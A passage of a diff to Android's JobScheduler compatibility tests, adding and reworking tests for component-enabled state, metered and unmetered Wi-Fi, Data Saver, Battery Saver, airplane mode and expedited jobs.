     public boolean onStopJob(JobParameters params) {
         Log.i(TAG, "Received stop callback");
-        TestEnvironment.getTestEnvironment().notifyStopped();
+        TestEnvironment.getTestEnvironment().notifyStopped(params);
         return mWaitingForStop;
     }
 
@@ -379,6 +379,7 @@
         private int mExecutedPermCheckWrite;
         private ArrayList<JobWorkItem> mExecutedReceivedWork;
         private String mExecutedErrorMessage;
+        private JobParameters mStopJobParameters;
 
         public static TestEnvironment getTestEnvironment() {
             if (kTestEnvironment == null) {
@@ -391,10 +392,14 @@
             return mExpectedWork;
         }
 
-        public JobParameters getLastJobParameters() {
+        public JobParameters getLastStartJobParameters() {
             return mExecutedJobParameters;
         }
 
+        public JobParameters getLastStopJobParameters() {
+            return mStopJobParameters;
+        }
+
         public int getLastPermCheckRead() {
             return mExecutedPermCheckRead;
         }
@@ -467,14 +472,17 @@
             mExecutedPermCheckWrite = permCheckWrite;
             mExecutedReceivedWork = receivedWork;
             mExecutedErrorMessage = errorMsg;
-            mLatch.countDown();
+            if (mLatch != null) {
+                mLatch.countDown();
+            }
         }
 
         private void notifyWaitingForStop() {
             mWaitingForStopLatch.countDown();
         }
 
-        private void notifyStopped() {
+        private void notifyStopped(JobParameters params) {
+            mStopJobParameters = params;
             if (mStoppedLatch != null) {
                 mStoppedLatch.countDown();
             }
@@ -534,6 +542,7 @@
         public void setUp() {
             mLatch = null;
             mExecutedJobParameters = null;
+            mStopJobParameters = null;
         }
 
     }
diff --git a/tests/JobScheduler/src/android/jobscheduler/cts/BaseJobSchedulerTest.java b/tests/JobScheduler/src/android/jobscheduler/cts/BaseJobSchedulerTest.java
index 0e69ea7..a92f8ac 100644
--- a/tests/JobScheduler/src/android/jobscheduler/cts/BaseJobSchedulerTest.java
+++ b/tests/JobScheduler/src/android/jobscheduler/cts/BaseJobSchedulerTest.java
@@ -31,9 +31,12 @@
 import android.os.Process;
 import android.os.SystemClock;
 import android.os.UserHandle;
+import android.provider.DeviceConfig;
 import android.test.InstrumentationTestCase;
 import android.util.Log;
 
+import com.android.compatibility.common.util.BatteryUtils;
+import com.android.compatibility.common.util.DeviceConfigStateHelper;
 import com.android.compatibility.common.util.SystemUtil;
 
 import java.io.IOException;
@@ -54,6 +57,7 @@
     JobScheduler mJobScheduler;
 
     Context mContext;
+    DeviceConfigStateHelper mDeviceConfigStateHelper;
 
     static final String MY_PACKAGE = "android.jobscheduler.cts";
 
@@ -104,6 +108,8 @@
     @Override
     public void setUp() throws Exception {
         super.setUp();
+        mDeviceConfigStateHelper =
+                new DeviceConfigStateHelper(DeviceConfig.NAMESPACE_JOB_SCHEDULER);
         kTestEnvironment.setUp();
         kTriggerTestEnvironment.setUp();
         mJobScheduler.cancelAll();
@@ -121,6 +127,7 @@
         SystemUtil.runShellCommand(getInstrumentation(),
                 "cmd jobscheduler reset-execution-quota -u current "
                         + kJobServiceComponent.getPackageName());
+        mDeviceConfigStateHelper.restoreOriginalValues();
 
         // The super method should be called at the end.
         super.tearDown();
@@ -154,7 +161,7 @@
     }
 
     // Note we are just using storage state as a way to control when the job gets executed.
-    void setStorageState(boolean low) throws Exception {
+    void setStorageStateLow(boolean low) throws Exception {
         mStorageStateChanged = true;
         String res;
         if (low) {
@@ -201,6 +208,15 @@
         assertTrue("Job unexpectedly ready, in state: " + state, !state.contains("ready"));
     }
 
+    /**
+     * Set the screen state.
+     */
+    static void toggleScreenOn(final boolean screenon) throws Exception {
+        BatteryUtils.turnOnScreen(screenon);
+        // Wait a little bit for the broadcasts to be processed.
+        Thread.sleep(2_000);
+    }
+
     /** Asks (not forces) JobScheduler to run the job if constraints are met. */
     void runSatisfiedJob(int jobId) throws Exception {
         SystemUtil.runShellCommand(getInstrumentation(),
diff --git a/tests/JobScheduler/src/android/jobscheduler/cts/ComponentConstraintTest.java b/tests/JobScheduler/src/android/jobscheduler/cts/ComponentConstraintTest.java
new file mode 100644
index 0000000..1bbc61e
--- /dev/null
+++ b/tests/JobScheduler/src/android/jobscheduler/cts/ComponentConstraintTest.java
@@ -0,0 +1,87 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.jobscheduler.cts;
+
+import android.app.job.JobInfo;
+import android.content.pm.PackageManager;
+
+/**
+ * Schedules jobs with various component-enabled states.
+ */
+public class ComponentConstraintTest extends BaseJobSchedulerTest {
+    private static final String TAG = "ComponentConstraintTest";
+    /** Unique identifier for the job scheduled by this suite of tests. */
+    private static final int COMPONENT_JOB_ID = ComponentConstraintTest.class.hashCode();
+
+    private JobInfo.Builder mBuilder;
+
+    @Override
+    public void setUp() throws Exception {
+        super.setUp();
+        mBuilder = new JobInfo.Builder(COMPONENT_JOB_ID, kJobServiceComponent);
+    }
+
+    public void testScheduleAfterComponentEnabled() throws Exception {
+        setJobServiceEnabled(true);
+        kTestEnvironment.setExpectedExecutions(1);
+        mJobScheduler.schedule(mBuilder.setOverrideDeadline(0).build());
+
+        assertTrue("Job with enabled service didn't fire.", kTestEnvironment.awaitExecution());
+    }
+
+    /*
+        Test intentionally disabled but kept here to acknowledge the case wasn't accidentally
+        forgotten. Historically, JobScheduler has thrown an exception when an app called schedule()
+        with a disabled service. That behavior cannot be changed easily.
+
+        public void testScheduleAfterComponentDisabled() throws Exception {
+            setJobServiceEnabled(false);
+            kTestEnvironment.setExpectedExecutions(0);
+            mJobScheduler.schedule(mBuilder.setOverrideDeadline(0).build());
+
+            assertTrue("Job with disabled service fired.", kTestEnvironment.awaitTimeout());
+        }
+    */
+
+    public void testComponentDisabledAfterSchedule() throws Exception {
+        setJobServiceEnabled(true);
+        kTestEnvironment.setExpectedExecutions(0);
+        mJobScheduler.schedule(mBuilder.setMinimumLatency(1000).setOverrideDeadline(2000).build());
+        setJobServiceEnabled(false);
+
+        assertTrue("Job with disabled service fired.", kTestEnvironment.awaitTimeout());
+    }
+
+    public void testComponentDisabledAndReenabledAfterSchedule() throws Exception {
+        setJobServiceEnabled(true);
+        kTestEnvironment.setExpectedExecutions(1);
+        mJobScheduler.schedule(mBuilder.setMinimumLatency(1000).setOverrideDeadline(2000).build());
+
+        setJobServiceEnabled(false);
+        assertTrue("Job with disabled service fired.", kTestEnvironment.awaitTimeout());
+
+        setJobServiceEnabled(true);
+        assertTrue("Job with enabled service didn't fire.", kTestEnvironment.awaitExecution());
+    }
+
+    private void setJobServiceEnabled(boolean enabled) {
+        final int state = enabled ? PackageManager.COMPONENT_ENABLED_STATE_ENABLED
+                : PackageManager.COMPONENT_ENABLED_STATE_DISABLED;
+        getContext().getPackageManager().setComponentEnabledSetting(
+                kJobServiceComponent, state, PackageManager.DONT_KILL_APP);
+    }
+}
diff --git a/tests/JobScheduler/src/android/jobscheduler/cts/ConnectivityConstraintTest.java b/tests/JobScheduler/src/android/jobscheduler/cts/ConnectivityConstraintTest.java
index 8bed13d..1206904 100644
--- a/tests/JobScheduler/src/android/jobscheduler/cts/ConnectivityConstraintTest.java
+++ b/tests/JobScheduler/src/android/jobscheduler/cts/ConnectivityConstraintTest.java
@@ -15,13 +15,20 @@
  */
 package android.jobscheduler.cts;
 
-import static android.net.NetworkCapabilities.NET_CAPABILITY_NOT_SUSPENDED;
+import static android.net.NetworkCapabilities.NET_CAPABILITY_INTERNET;
+import static android.net.NetworkCapabilities.NET_CAPABILITY_VALIDATED;
 import static android.net.NetworkCapabilities.TRANSPORT_CELLULAR;
 import static android.net.NetworkCapabilities.TRANSPORT_WIFI;
 
+import static com.android.compatibility.common.util.TestUtils.waitUntil;
+
+import android.Manifest;
 import android.annotation.TargetApi;
 import android.app.job.JobInfo;
+import android.app.job.JobParameters;
 import android.content.Context;
+import android.content.Intent;
+import android.content.IntentFilter;
 import android.content.pm.PackageManager;
 import android.net.ConnectivityManager;
 import android.net.Network;
@@ -32,10 +39,13 @@
 import android.os.Handler;
 import android.os.Looper;
 import android.os.Message;
-import android.os.UserHandle;
 import android.platform.test.annotations.RequiresDevice;
+import android.provider.Settings;
 import android.util.Log;
 
+import com.android.compatibility.common.util.AppStandbyUtils;
+import com.android.compatibility.common.util.BatteryUtils;
+import com.android.compatibility.common.util.CallbackAsserter;
 import com.android.compatibility.common.util.ShellIdentityUtils;
 import com.android.compatibility.common.util.SystemUtil;
 
@@ -44,6 +54,9 @@
 import java.util.List;
 import java.util.concurrent.CountDownLatch;
 import java.util.concurrent.TimeUnit;
+import java.util.concurrent.atomic.AtomicReference;
+import java.util.regex.Matcher;
+import java.util.regex.Pattern;
 
 /**
  * Schedules jobs with the {@link android.app.job.JobScheduler} that have network connectivity
@@ -64,6 +77,8 @@
 
     /** Unique identifier for the job scheduled by this suite of tests. */
     public static final int CONNECTIVITY_JOB_ID = ConnectivityConstraintTest.class.hashCode();
+    /** Wait this long before timing out the test. */
+    private static final long DEFAULT_TIMEOUT_MILLIS = 30000L; // 30 seconds.
 
     private WifiManager mWifiManager;
     private ConnectivityManager mCm;
@@ -74,8 +89,15 @@
     private boolean mHasTelephony;
     /** Track whether WiFi was enabled in case we turn it off. */
     private boolean mInitialWiFiState;
+    /** Track initial WiFi metered state. */
+    private String mInitialWiFiMeteredState;
+    private String mInitialWiFiSSID;
     /** Track whether restrict background policy was enabled in case we turn it off. */
     private boolean mInitialRestrictBackground;
+    /** Track whether airplane mode was enabled in case we toggle it. */
+    private boolean mInitialAirplaneMode;
+    /** Track whether the restricted bucket was enabled in case we toggle it. */
+    private String mInitialRestrictedBucketEnabled;
 
     private JobInfo.Builder mBuilder;
 
@@ -96,11 +118,21 @@
         if (mHasWifi) {
             mInitialWiFiState = mWifiManager.isWifiEnabled();
             ensureSavedWifiNetwork(mWifiManager);
+            setWifiState(true, mCm, mWifiManager);
+            mInitialWiFiSSID = getWifiSSID();
+            mInitialWiFiMeteredState = getWifiMeteredStatus(mInitialWiFiSSID);
         }
         mInitialRestrictBackground = SystemUtil
                 .runShellCommand(getInstrumentation(), RESTRICT_BACKGROUND_GET_CMD)
                 .contains("enabled");
+        mInitialRestrictedBucketEnabled = Settings.Global.getString(mContext.getContentResolver(),
+                Settings.Global.ENABLE_RESTRICTED_BUCKET);
         setDataSaverEnabled(false);
+        mInitialAirplaneMode = isAirplaneModeOn();
+        setAirplaneMode(false);
+        // Force the test app out of the never bucket.
+        SystemUtil.runShellCommand("am set-standby-bucket "
+                + TestAppInterface.TEST_APP_PACKAGE + " rare");
     }
 
     @Override
@@ -110,19 +142,32 @@
         }
         mJobScheduler.cancel(CONNECTIVITY_JOB_ID);
 
+        BatteryUtils.runDumpsysBatteryReset();
+
         // Restore initial restrict background data usage policy
         setDataSaverEnabled(mInitialRestrictBackground);
 
+        // Restore initial restricted bucket setting.
+        Settings.Global.putString(mContext.getContentResolver(),
+                Settings.Global.ENABLE_RESTRICTED_BUCKET, mInitialRestrictedBucketEnabled);
+
         // Ensure that we leave WiFi in its previous state.
-        if (mHasWifi && mWifiManager.isWifiEnabled() != mInitialWiFiState) {
-            try {
-                setWifiState(mInitialWiFiState, mCm, mWifiManager);
-            } catch (AssertionFailedError e) {
-                // Don't fail the test just because wifi state wasn't set in tearDown.
-                Log.e(TAG, "Failed to return wifi state to " + mInitialWiFiState, e);
+        if (mHasWifi) {
+            setWifiMeteredState(mInitialWiFiSSID, mInitialWiFiMeteredState);
+            if (mWifiManager.isWifiEnabled() != mInitialWiFiState) {
+                try {
+                    setWifiState(mInitialWiFiState, mCm, mWifiManager);
+                } catch (AssertionFailedError e) {
+                    // Don't fail the test just because wifi state wasn't set in tearDown.
+                    Log.e(TAG, "Failed to return wifi state to " + mInitialWiFiState, e);
+                }
             }
         }
 
+        // Restore initial airplane mode status. Do it after setting wifi in case wifi was
+        // originally metered.
+        setAirplaneMode(mInitialAirplaneMode);
+
         super.tearDown();
     }
 
@@ -139,14 +184,14 @@
             Log.d(TAG, "Skipping test that requires the device be WiFi enabled.");
             return;
         }
-        connectToWifi();
+        setWifiMeteredState(false);
 
         kTestEnvironment.setExpectedExecutions(1);
         mJobScheduler.schedule(
                 mBuilder.setRequiredNetworkType(JobInfo.NETWORK_TYPE_UNMETERED)
                         .build());
 
-        runJob();
+        runSatisfiedJob(CONNECTIVITY_JOB_ID);
 
         assertTrue("Job with unmetered constraint did not fire on WiFi.",
                 kTestEnvironment.awaitExecution());
@@ -160,14 +205,14 @@
             Log.d(TAG, "Skipping test that requires the device be WiFi enabled.");
             return;
         }
-        connectToWifi();
+        setWifiMeteredState(false);
 
         kTestEnvironment.setExpectedExecutions(1);
         mJobScheduler.schedule(
                 mBuilder.setRequiredNetworkType(JobInfo.NETWORK_TYPE_ANY)
                         .build());
 
-        runJob();
+        runSatisfiedJob(CONNECTIVITY_JOB_ID);
 
         assertTrue("Job with connectivity constraint did not fire on WiFi.",
                 kTestEnvironment.awaitExecution());
@@ -182,7 +227,7 @@
             Log.d(TAG, "Skipping test that requires the device be WiFi enabled.");
             return;
         }
-        connectToWifi();
+        setWifiMeteredState(false);
         setDataSaverEnabled(true);
 
         kTestEnvironment.setExpectedExecutions(1);
@@ -190,9 +235,9 @@
                 mBuilder.setRequiredNetworkType(JobInfo.NETWORK_TYPE_ANY)
                         .build());
 
-        runJob();
+        runSatisfiedJob(CONNECTIVITY_JOB_ID);
 
-        assertTrue("Job with connectivity constraint did not fire on WiFi.",
+        assertTrue("Job with connectivity constraint did not fire on unmetered WiFi.",
                 kTestEnvironment.awaitExecution());
     }
 
@@ -211,13 +256,33 @@
                 mBuilder.setRequiredNetworkType(JobInfo.NETWORK_TYPE_ANY)
                         .build());
 
-        runJob();
+        runSatisfiedJob(CONNECTIVITY_JOB_ID);
 
         assertTrue("Job with connectivity constraint did not fire on mobile.",
                 kTestEnvironment.awaitExecution());
     }
 
     /**
+     * Schedule a job with a generic connectivity constraint, and ensure that it executes
+     * on a metered wifi connection.
+     */
+    public void testConnectivityConstraintExecutes_withMeteredWifi() throws Exception {
+        if (!mHasWifi) {
+            return;
+        }
+        setWifiMeteredState(true);
+
+        kTestEnvironment.setExpectedExecutions(1);
+        mJobScheduler.schedule(
+                mBuilder.setRequiredNetworkType(JobInfo.NETWORK_TYPE_ANY).build());
+
+        runSatisfiedJob(CONNECTIVITY_JOB_ID);
+
+        assertTrue("Job with connectivity constraint did not fire on metered wifi.",
+                kTestEnvironment.awaitExecution());
+    }
+
+    /**
      * Schedule a job with a generic connectivity constraint, and ensure that it isn't stopped when
      * the device transitions to WiFi.
      */
@@ -237,7 +302,7 @@
                 mBuilder.setRequiredNetworkType(JobInfo.NETWORK_TYPE_ANY)
                         .build());
 
-        runJob();
+        runSatisfiedJob(CONNECTIVITY_JOB_ID);
 
         assertTrue("Job with connectivity constraint did not fire on mobile.",
                 kTestEnvironment.awaitExecution());
@@ -252,7 +317,7 @@
      * Schedule a job with a metered connectivity constraint, and ensure that it executes
      * on a mobile data connection.
      */
-    public void testConnectivityConstraintExecutes_metered() throws Exception {
+    public void testConnectivityConstraintExecutes_metered_mobile() throws Exception {
         if (!checkDeviceSupportsMobileData()) {
             return;
         }
@@ -263,28 +328,55 @@
                 mBuilder.setRequiredNetworkType(JobInfo.NETWORK_TYPE_METERED)
                         .build());
 
-        runJob();
+        runSatisfiedJob(CONNECTIVITY_JOB_ID);
         assertTrue("Job with metered connectivity constraint did not fire on mobile.",
                 kTestEnvironment.awaitExecution());
     }
 
     /**
+     * Schedule a job with a metered connectivity constraint, and ensure that it executes
+     * on a mobile data connection.
+     */
+    public void testConnectivityConstraintExecutes_metered_Wifi() throws Exception {
+        if (!mHasWifi) {
+            return;
+        }
+        setWifiMeteredState(true);
+
+
+        kTestEnvironment.setExpectedExecutions(1);
+        mJobScheduler.schedule(
+                mBuilder.setRequiredNetworkType(JobInfo.NETWORK_TYPE_METERED).build());
+
+        // Since we equate "metered" to "cellular", the job shouldn't start.
+        runSatisfiedJob(CONNECTIVITY_JOB_ID);
+        assertTrue("Job with metered connectivity constraint fired on a metered wifi network.",
+                kTestEnvironment.awaitTimeout());
+    }
+
+    /**
      * Schedule a job with a cellular connectivity constraint, and ensure that it executes
      * on a mobile data connection and is not stopped when Data Saver is turned on because the app
      * is in the foreground.
      */
     public void testCellularConstraintExecutedAndStopped_Foreground() throws Exception {
-        if (!checkDeviceSupportsMobileData()) {
+        if (mHasWifi) {
+            setWifiMeteredState(true);
+        } else if (checkDeviceSupportsMobileData()) {
+            disconnectWifiToConnectToMobile();
+        } else {
+            // No mobile or wifi.
             return;
         }
-        disconnectWifiToConnectToMobile();
+
         mTestAppInterface = new TestAppInterface(mContext, CONNECTIVITY_JOB_ID);
         mTestAppInterface.startAndKeepTestActivity();
+        toggleScreenOn(true);
 
-        mTestAppInterface.scheduleJob(false, true);
+        mTestAppInterface.scheduleJob(false,  JobInfo.NETWORK_TYPE_ANY, false);
 
-        runJob();
-        assertTrue("Job with metered connectivity constraint did not fire on mobile.",
+        mTestAppInterface.runSatisfiedJob();
+        assertTrue("Job with metered connectivity constraint did not fire on a metered network.",
                 mTestAppInterface.awaitJobStart(30_000));
 
         setDataSaverEnabled(true);
@@ -294,6 +386,143 @@
                 mTestAppInterface.awaitJobStop(30_000));
     }
 
+    /**
+     * Schedule an expedited job that requires a network connection, and verify that it runs even
+     * when if an app is idle.
+     */
+    public void testExpeditedJobExecutes_IdleApp() throws Exception {
+        if (!AppStandbyUtils.isAppStandbyEnabled()) {
+            Log.d(TAG, "App standby not enabled");
+            return;
+        }
+        if (mHasWifi) {
+            setWifiMeteredState(true);
+        } else if (checkDeviceSupportsMobileData()) {
+            disconnectWifiToConnectToMobile();
+        } else {
+            Log.d(TAG, "Skipping test that requires a metered network.");
+            return;
+        }
+
+        Settings.Global.putString(mContext.getContentResolver(),
+                Settings.Global.ENABLE_RESTRICTED_BUCKET, "1");
+        mDeviceConfigStateHelper.set("qc_max_session_count_restricted", "0");
+        SystemUtil.runShellCommand("am set-standby-bucket "
+                + kJobServiceComponent.getPackageName() + " restricted");
+        BatteryUtils.runDumpsysBatteryUnplug();
+
+        kTestEnvironment.setExpectedExecutions(1);
+        mJobScheduler.schedule(
+                mBuilder.setRequiredNetworkType(JobInfo.NETWORK_TYPE_ANY)
+                        .setExpedited(true)
+                        .build());
+        runSatisfiedJob(CONNECTIVITY_JOB_ID);
+
+        assertTrue("Expedited job requiring connectivity did not fire when app was idle.",
+                kTestEnvironment.awaitExecution());
+    }
+
+    /**
+     * Schedule an expedited job that requires a network connection, and verify that it runs even
+     * when Battery Saver is on.
+     */
+    public void testExpeditedJobExecutes_BatterySaverOn() throws Exception {
+        if (!BatteryUtils.isBatterySaverSupported()) {
+            Log.d(TAG, "Skipping test that requires battery saver support");
+            return;
+        }
+        if (mHasWifi) {
+            setWifiMeteredState(true);
+        } else if (checkDeviceSupportsMobileData()) {
+            disconnectWifiToConnectToMobile();
+        } else {
+            Log.d(TAG, "Skipping test that requires a metered.");
+            return;
+        }
+
+        BatteryUtils.runDumpsysBatteryUnplug();
+        BatteryUtils.enableBatterySaver(true);
+
+        kTestEnvironment.setExpectedExecutions(1);
+        mJobScheduler.schedule(
+                mBuilder.setRequiredNetworkType(JobInfo.NETWORK_TYPE_ANY)
+                        .setExpedited(true)
+                        .build());
+        runSatisfiedJob(CONNECTIVITY_JOB_ID);
+
+        assertTrue(
+                "Expedited job requiring connectivity did not fire with Battery Saver on.",
+                kTestEnvironment.awaitExecution());
+    }
+
+    /**
+     * Schedule an expedited job that requires a network connection, and verify that it runs even
+     * when Data Saver is on and the device is not connected to WiFi.
+     */
+    public void testFgExpeditedJobBypassesDataSaver() throws Exception {
+        if (mHasWifi) {
+            setWifiMeteredState(true);
+        } else if (checkDeviceSupportsMobileData()) {
+            disconnectWifiToConnectToMobile();
+        } else {
+            Log.d(TAG, "Skipping test that requires a metered network.");
+            return;
+        }
+        setDataSaverEnabled(true);
+
+        mTestAppInterface = new TestAppInterface(mContext, CONNECTIVITY_JOB_ID);
+        mTestAppInterface.startAndKeepTestActivity();
+
+        mTestAppInterface.scheduleJob(false,  JobInfo.NETWORK_TYPE_ANY, true);
+        mTestAppInterface.runSatisfiedJob();
+
+        assertTrue(
+                "FG expedited job requiring metered connectivity did not fire with Data Saver on.",
+                mTestAppInterface.awaitJobStart(DEFAULT_TIMEOUT_MILLIS));
+    }
+
+    /**
+     * Schedule an expedited job that requires a network connection, and verify that it runs even
+     * when multiple firewalls are active.
+     */
+    public void testExpeditedJobBypassesSimultaneousFirewalls_noDataSaver() throws Exception {
+        if (!BatteryUtils.isBatterySaverSupported()) {
+            Log.d(TAG, "Skipping test that requires battery saver support");
+            return;
+        }
+        if (mHasWifi) {
+            setWifiMeteredState(true);
+        } else if (checkDeviceSupportsMobileData()) {
+            disconnectWifiToConnectToMobile();
+        } else {
+            Log.d(TAG, "Skipping test that requires a metered network.");
+            return;
+        }
+        if (!AppStandbyUtils.isAppStandbyEnabled()) {
+            Log.d(TAG, "App standby not enabled");
+            return;
+        }
+
+        Settings.Global.putString(mContext.getContentResolver(),
+                Settings.Global.ENABLE_RESTRICTED_BUCKET, "1");
+        mDeviceConfigStateHelper.set("qc_max_session_count_restricted", "0");
+        SystemUtil.runShellCommand("am set-standby-bucket "
+                + kJobServiceComponent.getPackageName() + " restricted");
+        BatteryUtils.runDumpsysBatteryUnplug();
+        BatteryUtils.enableBatterySaver(true);
+        setDataSaverEnabled(false);
+
+        kTestEnvironment.setExpectedExecutions(1);
+        mJobScheduler.schedule(
+                mBuilder.setRequiredNetworkType(JobInfo.NETWORK_TYPE_ANY)
+                        .setExpedited(true)
+                        .build());
+        runSatisfiedJob(CONNECTIVITY_JOB_ID);
+
+        assertTrue("Expedited job requiring connectivity did not fire with multiple firewalls.",
+                kTestEnvironment.awaitExecution());
+    }
+
     // --------------------------------------------------------------------------------------------
     // Positives & Negatives - schedule jobs under conditions that require that pass initially and
     // then fail with a constraint change.
@@ -309,22 +538,67 @@
         }
         disconnectWifiToConnectToMobile();
 
-        kTestEnvironment.setExpectedExecutions(1);
-        kTestEnvironment.setContinueAfterStart();
-        kTestEnvironment.setExpectedStopped();
-        mJobScheduler.schedule(
-                mBuilder.setRequiredNetworkType(JobInfo.NETWORK_TYPE_CELLULAR)
-                        .build());
+        mTestAppInterface = new TestAppInterface(mContext, CONNECTIVITY_JOB_ID);
 
-        runJob();
-        assertTrue("Job with metered connectivity constraint did not fire on mobile.",
-                kTestEnvironment.awaitExecution());
+        mTestAppInterface.scheduleJob(false,  JobInfo.NETWORK_TYPE_CELLULAR, false);
+
+        mTestAppInterface.runSatisfiedJob();
+        assertTrue("Job with cellular constraint did not fire on mobile.",
+                mTestAppInterface.awaitJobStart(DEFAULT_TIMEOUT_MILLIS));
 
         setDataSaverEnabled(true);
         assertTrue(
-                "Job with metered connectivity constraint was not stopped when Data Saver was "
-                        + "turned on.",
-                kTestEnvironment.awaitStopped());
+                "Job with cellular constraint was not stopped when Data Saver was turned on.",
+                mTestAppInterface.awaitJobStop(DEFAULT_TIMEOUT_MILLIS));
+    }
+
+    public void testJobParametersNetwork() throws Exception {
+        setAirplaneMode(false);
+
+        // Everything good.
+        final NetworkRequest nr = new NetworkRequest.Builder()
+                .addCapability(NET_CAPABILITY_INTERNET)
+                .addCapability(NET_CAPABILITY_VALIDATED)
+                .build();
+        JobInfo ji = mBuilder.setRequiredNetwork(nr).build();
+
+        kTestEnvironment.setExpectedExecutions(1);
+        mJobScheduler.schedule(ji);
+        runSatisfiedJob(CONNECTIVITY_JOB_ID);
+        assertTrue("Job didn't fire immediately", kTestEnvironment.awaitExecution());
+
+        JobParameters params = kTestEnvironment.getLastStartJobParameters();
+        assertNotNull(params.getNetwork());
+        final NetworkCapabilities capabilities =
+                getContext().getSystemService(ConnectivityManager.class)
+                        .getNetworkCapabilities(params.getNetwork());
+        assertTrue(nr.canBeSatisfiedBy(capabilities));
+
+        // Deadline passed with no network satisfied.
+        setAirplaneMode(true);
+        ji = mBuilder
+                .setRequiredNetwork(nr)
+                .setOverrideDeadline(0)
+                .build();
+
+        kTestEnvironment.setExpectedExecutions(1);
+        mJobScheduler.schedule(ji);
+        runSatisfiedJob(CONNECTIVITY_JOB_ID);
+        assertTrue("Job didn't fire immediately", kTestEnvironment.awaitExecution());
+
+        params = kTestEnvironment.getLastStartJobParameters();
+        assertNull(params.getNetwork());
+
+        // No network requested
+        setAirplaneMode(false);
+        ji = mBuilder.setRequiredNetwork(null).build();
+        kTestEnvironment.setExpectedExecutions(1);
+        mJobScheduler.schedule(ji);
+        runSatisfiedJob(CONNECTIVITY_JOB_ID);
+        assertTrue("Job didn't fire immediately", kTestEnvironment.awaitExecution());
+
+        params = kTestEnvironment.getLastStartJobParameters();
+        assertNull(params.getNetwork());
     }
 
     // --------------------------------------------------------------------------------------------
@@ -347,7 +621,7 @@
         mJobScheduler.schedule(
                 mBuilder.setRequiredNetworkType(JobInfo.NETWORK_TYPE_UNMETERED)
                         .build());
-        runJob();
+        runSatisfiedJob(CONNECTIVITY_JOB_ID);
 
         assertTrue("Job requiring unmetered connectivity still executed on mobile.",
                 kTestEnvironment.awaitTimeout());
@@ -365,14 +639,34 @@
         disconnectWifiToConnectToMobile();
         setDataSaverEnabled(true);
 
-        kTestEnvironment.setExpectedExecutions(0);
-        mJobScheduler.schedule(
-                mBuilder.setRequiredNetworkType(JobInfo.NETWORK_TYPE_CELLULAR)
-                        .build());
-        runJob();
+        mTestAppInterface = new TestAppInterface(mContext, CONNECTIVITY_JOB_ID);
 
-        assertTrue("Job requiring metered connectivity still executed on WiFi.",
-                kTestEnvironment.awaitTimeout());
+        mTestAppInterface.scheduleJob(false,  JobInfo.NETWORK_TYPE_CELLULAR, false);
+        mTestAppInterface.runSatisfiedJob();
+
+        assertFalse("Job requiring cellular connectivity executed with Data Saver on",
+                mTestAppInterface.awaitJobStop(DEFAULT_TIMEOUT_MILLIS));
+    }
+
+    /**
+     * Schedule a job that requires a metered connection, and verify that it does not run when
+     * the device is not connected to WiFi and Data Saver is on.
+     */
+    public void testEJMeteredConstraintFails_withMobile_DataSaverOn() throws Exception {
+        if (!checkDeviceSupportsMobileData()) {
+            Log.d(TAG, "Skipping test that requires the device be mobile data enabled.");
+            return;
+        }
+        disconnectWifiToConnectToMobile();
+        setDataSaverEnabled(true);
+
+        mTestAppInterface = new TestAppInterface(mContext, CONNECTIVITY_JOB_ID);
+
+        mTestAppInterface.scheduleJob(false,  JobInfo.NETWORK_TYPE_CELLULAR, true);
+        mTestAppInterface.runSatisfiedJob();
+
+        assertFalse("BG expedited job requiring cellular connectivity executed with Data Saver on",
+                mTestAppInterface.awaitJobStop(DEFAULT_TIMEOUT_MILLIS));
     }
 
     /**
@@ -390,19 +684,40 @@
             Log.d(TAG, "Skipping test that requires the device be mobile data enabled.");
             return;
         }
-        connectToWifi();
+        setWifiMeteredState(false);
 
         kTestEnvironment.setExpectedExecutions(0);
         mJobScheduler.schedule(
                 mBuilder.setRequiredNetworkType(JobInfo.NETWORK_TYPE_METERED)
                         .build());
-        runJob();
+        runSatisfiedJob(CONNECTIVITY_JOB_ID);
 
         assertTrue("Job requiring metered connectivity still executed on WiFi.",
                 kTestEnvironment.awaitTimeout());
     }
 
     /**
+     * Schedule a job that requires an unmetered connection, and verify that it does not run when
+     * the device is connected to a metered WiFi provider.
+     */
+    public void testUnmeteredConstraintFails_withMeteredWiFi() throws Exception {
+        if (!mHasWifi) {
+            Log.d(TAG, "Skipping test that requires the device be WiFi enabled.");
+            return;
+        }
+        setWifiMeteredState(true);
+
+        kTestEnvironment.setExpectedExecutions(0);
+        mJobScheduler.schedule(
+                mBuilder.setRequiredNetworkType(JobInfo.NETWORK_TYPE_UNMETERED)
+                        .build());
+        runSatisfiedJob(CONNECTIVITY_JOB_ID);
+
+        assertTrue("Job requiring unmetered connectivity still executed on metered WiFi.",
+                kTestEnvironment.awaitTimeout());
+    }
+
+    /**
      * Schedule a job that requires a cellular connection, and verify that it does not run when
      * the device is connected to a WiFi provider.
      */
@@ -415,30 +730,86 @@
             Log.d(TAG, "Skipping test that requires the device be mobile data enabled.");
             return;
         }
-        connectToWifi();
+        setWifiMeteredState(false);
 
         kTestEnvironment.setExpectedExecutions(0);
         mJobScheduler.schedule(
                 mBuilder.setRequiredNetworkType(JobInfo.NETWORK_TYPE_CELLULAR).build());
-        runJob();
+        runSatisfiedJob(CONNECTIVITY_JOB_ID);
 
         assertTrue("Job requiring cellular connectivity still executed on WiFi.",
                 kTestEnvironment.awaitTimeout());
     }
 
+    /**
+     * Schedule an expedited job that requires a network connection, and verify that it runs even
+     * when Data Saver is on and the device is not connected to WiFi.
+     */
+    public void testBgExpeditedJobDoesNotBypassDataSaver() throws Exception {
+        if (mHasWifi) {
+            setWifiMeteredState(true);
+        } else if (checkDeviceSupportsMobileData()) {
+            disconnectWifiToConnectToMobile();
+        } else {
+            Log.d(TAG, "Skipping test that requires a metered network.");
+            return;
+        }
+        setDataSaverEnabled(true);
+
+        mTestAppInterface = new TestAppInterface(mContext, CONNECTIVITY_JOB_ID);
+
+        mTestAppInterface.scheduleJob(false,  JobInfo.NETWORK_TYPE_ANY, true);
+        mTestAppInterface.runSatisfiedJob();
+
+        assertFalse("BG expedited job requiring connectivity fired with Data Saver on.",
+                mTestAppInterface.awaitJobStart(DEFAULT_TIMEOUT_MILLIS));
+    }
+
+    /**
